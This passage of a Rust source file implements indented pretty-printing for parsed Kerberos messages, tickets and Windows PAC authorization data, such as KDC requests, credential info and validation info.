332 | } 333 | 334 | impl Display for GeneralizedTime { 335 | fn format(&self, f: &mut Formatter) { 336 | f.print(self.inner.to_rfc2822().as_str()); 337 | } 338 | } 339 | 340 | impl Display for KdcReq { 341 | fn format(&self, f: &mut Formatter) { 342 | f.print("KdcReq"); 343 | f.indent(); 344 | f.new_line(); 345 | f.print("pvno "); 346 | self.pvno.format(f); 347 | f.new_line(); 348 | f.print("msg_type "); 349 | self.msg_type.format(f); 350 | f.new_line(); 351 | f.print("padata "); 352 | self.padata.format(f); 353 | f.new_line(); 354 | f.print("req_body "); 355 | self.req_body.format(f); 356 | f.dedent(); 357 | } 358 | } 359 | 360 | impl Display for KdcReqBody { 361 | fn format(&self, f: &mut Formatter) { 362 | f.print("KdcReqBody"); 363 | f.indent(); 364 | f.new_line(); 365 | f.print("kdc_options "); 366 | self.kdc_options.format(f); 367 | f.new_line(); 368 | f.print("cname "); 369 | self.cname.format(f); 370 | f.new_line(); 371 | f.print("realm "); 372 | self.realm.format(f); 373 | f.new_line(); 374 | f.print("sname "); 375 | self.sname.format(f); 376 | f.new_line(); 377 | f.print("from "); 378 | self.from.format(f); 379 | f.new_line(); 380 | f.print("till "); 381 | self.till.format(f); 382 | f.new_line(); 383 | f.print("rtime "); 384 | self.rtime.format(f); 385 | f.new_line(); 386 | f.print("nonce "); 387 | self.nonce.format(f); 388 | f.new_line(); 389 | f.print("etype "); 390 | self.etype.format(f); 391 | f.new_line(); 392 | f.print("addresses "); 393 | self.addresses.format(f); 394 | f.new_line(); 395 | f.print("enc_authorization_data "); 396 | self.enc_authorization_data.format(f); 397 | f.new_line(); 398 | f.print("additional_tickets "); 399 | self.additional_tickets.format(f); 400 | f.dedent(); 401 | } 402 | } 403 | 404 | impl Display for KDCOptions { 405 | fn format(&self, _: &mut Formatter) {} 406 | } 407 | 408 | impl Display for HostAddress { 409 | fn format(&self, f: &mut Formatter) { 410 | f.print("HostAddress"); 411 | f.indent(); 412 | f.new_line(); 413 | f.print("addr_type "); 414 | self.addr_type.format(f); 415 | f.new_line(); 416 | f.print("address "); 417 | self.address.format(f); 418 | f.dedent(); 419 | } 420 | } 421 | 422 | impl Display for EncKDCRepPart { 423 | fn format(&self, f: &mut Formatter) { 424 | f.print("EncKDCRepPart"); 425 | f.indent(); 426 | f.new_line(); 427 | f.print("key "); 428 | self.key.format(f); 429 | f.new_line(); 430 | f.print("last_req "); 431 | self.last_req.format(f); 432 | f.new_line(); 433 | f.print("nonce "); 434 | self.nonce.format(f); 435 | f.new_line(); 436 | f.print("key_expiration"); 437 | self.key_expiration.format(f); 438 | f.new_line(); 439 | f.print("authtime "); 440 | self.authtime.format(f); 441 | f.new_line(); 442 | f.print("starttime "); 443 | self.starttime.format(f); 444 | f.new_line(); 445 | f.print("endtime "); 446 | self.endtime.format(f); 447 | f.new_line(); 448 | f.print("renew_till "); 449 | self.renew_till.format(f); 450 | f.new_line(); 451 | f.print("srealm "); 452 | self.srealm.format(f); 453 | f.new_line(); 454 | f.print("sname "); 455 | self.sname.format(f); 456 | f.new_line(); 457 | f.print("caddr "); 458 | self.caddr.format(f); 459 | f.dedent(); 460 | } 461 | } 462 | 463 | impl Display for EncryptionKey { 464 | fn format(&self, f: &mut Formatter) { 465 | f.print("EncKDCRepPart"); 466 | f.indent(); 467 | f.new_line(); 468 | f.print("keytype "); 469 | self.keytype.format(f); 470 | f.new_line(); 471 | f.print("keyvalue "); 472 | self.keyvalue.format(f); 473 | f.dedent(); 474 | } 475 | } 476 | 477 | impl Display for LastReqBody { 478 | fn format(&self, f: &mut Formatter) { 479 | f.print("LastReqBody"); 480 | f.indent(); 481 | f.new_line(); 482 | f.print("lr_type "); 483 | self.lr_type.format(f); 484 | f.new_line(); 485 | f.print("lr_value "); 486 | self.lr_type.format(f); 487 | f.dedent(); 488 | } 489 | } 490 | 491 | impl Display for EncTicketPartBody { 492 | fn format(&self, f: &mut Formatter) { 493 | f.print("EncTicketPartBody"); 494 | f.indent(); 495 | f.new_line(); 496 | f.print("flags "); 497 | self.flags.format(f); 498 | f.new_line(); 499 | f.print("key "); 500 | self.key.format(f); 501 | f.new_line(); 502 | f.print("crealm "); 503 | self.crealm.format(f); 504 | f.new_line(); 505 | f.print("cname "); 506 | self.cname.format(f); 507 | f.new_line(); 508 | f.print("transited "); 509 | self.transited.format(f); 510 | f.new_line(); 511 | f.print("authtime "); 512 | self.authtime.format(f); 513 | f.new_line(); 514 | f.print("starttime "); 515 | self.starttime.format(f); 516 | f.new_line(); 517 | f.print("endtime "); 518 | self.endtime.format(f); 519 | f.new_line(); 520 | f.print("renew_till "); 521 | self.renew_till.format(f); 522 | f.new_line(); 523 | f.print("caddr "); 524 | self.caddr.format(f); 525 | f.new_line(); 526 | f.print("authorization_data "); 527 | self.authorization_data.format(f); 528 | f.dedent(); 529 | } 530 | } 531 | 532 | impl Display for TransitedEncoding { 533 | fn format(&self, f: &mut Formatter) { 534 | f.print("TransitedEncoding"); 535 | f.indent(); 536 | f.new_line(); 537 | f.print("tr_type "); 538 | self.tr_type.format(f); 539 | f.new_line(); 540 | f.print("contents "); 541 | self.contents.format(f); 542 | f.dedent(); 543 | } 544 | } 545 | 546 | impl Display for AuthorizationDataElement { 547 | fn format(&self, f: &mut Formatter) { 548 | f.print("AuthorizationDataElement"); 549 | f.indent(); 550 | f.new_line(); 551 | f.print("ad_type "); 552 | self.ad_type.format(f); 553 | f.print( 554 | match self.ad_type.inner { 555 | 1 => " (AD-IF-RELEVANT)", 556 | 2 => " (AD-INTENDED-FOR-SERVER)", 557 | 3 => " (AD-INTENDED-FOR-APPLICATION-CLASS)", 558 | 4 => " (AD-KDC-ISSUED)", 559 | 5 => " (AD-AND-OR)", 560 | 6 => " (AD-MANDATORY-TICKET-EXTENSIONS)", 561 | 7 => " (AD-IN-TICKET-EXTENSIONS)", 562 | 8 => " (AD-MANDATORY-FOR-KDC)", 563 | 64 => " (OSF-DCE)", 564 | 65 => " (SESAME)", 565 | 66 => " (AD-OSF-DCE-PKI-CERTID)", 566 | 128 => " (AD-WIN2K-PAC)", 567 | 129 => " (AD-ETYPE-NEGOTIATION)", 568 | _ => " (UNKNOWN)" 569 | } 570 | ); 571 | f.new_line(); 572 | f.print("ad_data "); 573 | match self.ad_type.inner { 574 | 1 => { 575 | let mut data = AuthorizationData::default(); 576 | from_der(&mut data, &self.ad_data).unwrap(); 577 | data.format(f); 578 | } 579 | 128 => { 580 | let pac_data = PacType::from_addata(self.ad_data.inner.clone()).unwrap(); 581 | pac_data.format(f); 582 | } 583 | _ => self.ad_data.format(f) 584 | } 585 | 586 | f.dedent(); 587 | } 588 | } 589 | 590 | impl Display for KrbCredBody { 591 | fn format(&self, f: &mut Formatter) { 592 | f.print("KrbCredBody"); 593 | f.indent(); 594 | f.new_line(); 595 | f.print("pvno "); 596 | self.pvno.format(f); 597 | f.new_line(); 598 | f.print("msg_ticket "); 599 | self.msg_ticket.format(f); 600 | f.new_line(); 601 | f.print("tickets "); 602 | self.tickets.format(f); 603 | f.new_line(); 604 | f.print("enc_part "); 605 | self.enc_part.format(f); 606 | f.dedent(); 607 | } 608 | } 609 | 610 | impl Display for EncKrbCredPartBody { 611 | fn format(&self, f: &mut Formatter) { 612 | f.print("EncKrbCredPartBody"); 613 | f.indent(); 614 | f.new_line(); 615 | f.print("ticket_info "); 616 | self.ticket_info.format(f); 617 | f.new_line(); 618 | f.print("nonce "); 619 | self.nonce.format(f); 620 | f.new_line(); 621 | f.print("timestamp "); 622 | self.timestamp.format(f); 623 | f.new_line(); 624 | f.print("usec "); 625 | self.usec.format(f); 626 | f.new_line(); 627 | f.print("s_address "); 628 | self.s_address.format(f); 629 | f.new_line(); 630 | f.print("r_address "); 631 | self.r_address.format(f); 632 | f.dedent(); 633 | } 634 | } 635 | 636 | impl Display for KrbCredInfo { 637 | fn format(&self, f: &mut Formatter) { 638 | f.print("KrbCredInfo"); 639 | f.indent(); 640 | f.new_line(); 641 | f.print("key "); 642 | self.key.format(f); 643 | f.new_line(); 644 | f.print("prealm "); 645 | self.prealm.format(f); 646 | f.new_line(); 647 | f.print("pname "); 648 | self.pname.format(f); 649 | f.new_line(); 650 | f.print("flags "); 651 | self.flags.format(f); 652 | f.new_line(); 653 | f.print("authtime "); 654 | self.authtime.format(f); 655 | f.new_line(); 656 | f.print("starttime "); 657 | self.starttime.format(f); 658 | f.new_line(); 659 | f.print("endtime "); 660 | self.endtime.format(f); 661 | f.new_line(); 662 | f.print("renew_till "); 663 | self.renew_till.format(f); 664 | f.new_line(); 665 | f.print("srealm "); 666 | self.srealm.format(f); 667 | f.new_line(); 668 | f.print("sname "); 669 | self.sname.format(f); 670 | f.new_line(); 671 | f.print("caddr "); 672 | self.caddr.format(f); 673 | f.dedent(); 674 | } 675 | } 676 | 677 | impl Display for PacType { 678 | fn format(&self, f: &mut Formatter) { 679 | f.print("PACTYPE"); 680 | f.indent(); 681 | f.new_line(); 682 | f.print("c_buffers "); 683 | self.c_buffers.format(f); 684 | f.new_line(); 685 | f.print("version "); 686 | self.version.format(f); 687 | f.indent(); 688 | for pac in &self.buffers { 689 | f.new_line(); 690 | pac.format(f); 691 | } 692 | f.dedent(); 693 | f.dedent(); 694 | } 695 | } 696 | 697 | impl Display for PacStruct { 698 | fn format(&self, f: &mut Formatter) { 699 | match self { 700 | PacStruct::PacClientInfo(e) => { 701 | e.format(f) 702 | }, 703 | PacStruct::KDCChecksum(e) => { 704 | f.print("KDCChecksum "); 705 | e.format(f) 706 | }, 707 | PacStruct::UpnDnsInfo(e) => { 708 | e.format(f) 709 | }, 710 | PacStruct::ServerChecksum(e) => { 711 | f.print("ServerChecksum "); 712 | e.format(f) 713 | }, 714 | PacStruct::KerbValidationInfo(e) => { 715 | e.format(f) 716 | } 717 | } 718 | } 719 | } 720 | 721 | impl Display for PacClientInfo { 722 | fn format(&self, f: &mut Formatter) { 723 | f.print("PAC_CLIENT_INFO"); 724 | f.indent(); 725 | f.new_line(); 726 | f.print("ClientId "); 727 | self.client_id.format(f); 728 | f.new_line(); 729 | f.print(&format!("Name {}", self.name)); 730 | f.dedent() 731 | } 732 | } 733 | 734 | impl Display for PacSignatureData { 735 | fn format(&self, f: &mut Formatter) { 736 | f.print("PAC_SIGNATURE_DATA"); 737 | f.indent(); 738 | f.new_line(); 739 | f.print(&format!("signature_type {}", self.signature_type)); 740 | f.new_line(); 741 | f.print(&format!("signature {}", base64::encode(&self.signature).as_str())); 742 | f.dedent() 743 | } 744 | } 745 | 746 | impl Display for UpnDnsInfo { 747 | fn format(&self, f: &mut Formatter) { 748 | f.print("UPN_DNS_INFO"); 749 | f.indent(); 750 | f.new_line(); 751 | f.print(&format!("upn {}", self.upn)); 752 | f.new_line(); 753 | f.print(&format!("dns {}", self.dns)); 754 | f.dedent() 755 | } 756 | } 757 | 758 | impl Display for KerbValidationInfo { 759 | fn format(&self, f: &mut Formatter) { 760 | f.print("KER_VALIDATION_INFO"); 761 | f.indent(); 762 | f.new_line(); 763 | f.print("LogonTime "); 764 | self.logon_time.format(f); 765 | f.new_line(); 766 | f.print("LogoffTime "); 767 | self.logoff_time.format(f); 768 | f.new_line(); 769 | f.print("KickOffTime "); 770 | self.kick_off_time.format(f); 771 | f.new_line(); 772 | f.print("PasswordLastSet "); 773 | self.password_last_set.format(f); 774 | f.new_line(); 775 | f.print("PasswordCanChange "); 776 | self.password_can_change.format(f); 777 | f.new_line(); 778 | f.print("PasswordMustChange "); 779 | self.password_must_change.format(f); 780 | f.new_line(); 781 | f.print("EffectiveName "); 782 | self.effective_name.format(f); 783 | f.new_line(); 784 | f.print("FullName "); 785 | //self.full_name.format(f); 786 | f.dedent() 787 | } 788 | } 789 | 790 | impl Display for FileTime { 791 | fn format(&self, f: &mut Formatter) { 792 | f.print("FILETIME"); 793 | f.indent(); 794 | f.new_line(); 795 | f.print(&format!("dwLowDateTime {:#X}", self.dw_low_date_time)); 796 | f.new_line(); 797 | f.print(&format!("dwHighDateTime {:#X}", self.dw_high_date_time)); 798 | f.new_line(); 799 | f.print(&format!("{}", self.datetime())); 800 | f.dedent() 801 | } 802 | } 803 | 804 | impl Display for RpcUnicodeString { 805 | fn format(&self, f: &mut Formatter) { 806 | f.print(&format!("RPC_UNICODE_STRING {}", self.buffer)) 807 | } 808 | } --------------------------------------------------------------------------------